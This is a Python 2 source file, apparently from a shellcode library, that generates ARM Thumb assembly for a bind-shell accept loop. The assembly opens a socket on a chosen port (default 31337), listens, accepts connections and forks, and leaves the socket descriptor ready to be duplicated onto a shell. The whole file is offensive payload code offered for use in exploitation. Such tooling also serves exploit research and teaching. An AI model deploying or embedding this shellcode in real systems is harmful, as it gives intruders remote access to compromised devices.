Source code for shellcodes.thumb.acceptloop

import socket

[docs]def generate(port=31337): """accept loop shellcode in Thumb Mode Args: port(int/str): specific port Returns: ``r6`` reg indicates socket descriptor will be mapped with dup() """ sc = ''' /* socket(...) */ mov r0, #2 mov r1, #1 sub r2, r2, r2 sub r7, r7, r7 add r7, r7, #255 add r7, r7, #26 svc 1 /* bind(...) */ mov r6, r0 mov r4, pc add r4, #22 ldr r1, [r4] sub r2, r2, r2 push { r1, r2 } mov r0, r6 mov r1, sp mov r2, #16 sub r7, r7, r7 add r7, r7, #255 add r7, r7, #27 svc 1 b after_sockaddr_in_5 sockaddr_in_1: .short 2 .short %s /* listen(...) */ after_sockaddr_in_5: mov r1, #16 mov r0, r6 sub r7, r7, r7 add r7, r7, #255 add r7, r7, #29 svc 1 /* accept(...) */ looplabel_2: mov r0, r6 sub r1, r1, r1 sub r2, r2, r2 sub r7, r7, r7 add r7, r7, #255 add r7, r7, #30 svc 1 /* fork(...) */ mov r5, r0 mov r7, #2 svc 1 cmp r0, #0 bgt cleanup_3 /* child close(...) */ mov r0, r6 mov r7, #6 svc 1 mov r0, r5 b after_fork_4 /* parent close() */ cleanup_3: mov r0, r5 mov r7, #6 svc 1 b looplabel_2 after_fork_4: ''' % (socket.ntohs(port)) return sc
if __name__ == '__main__': print generate()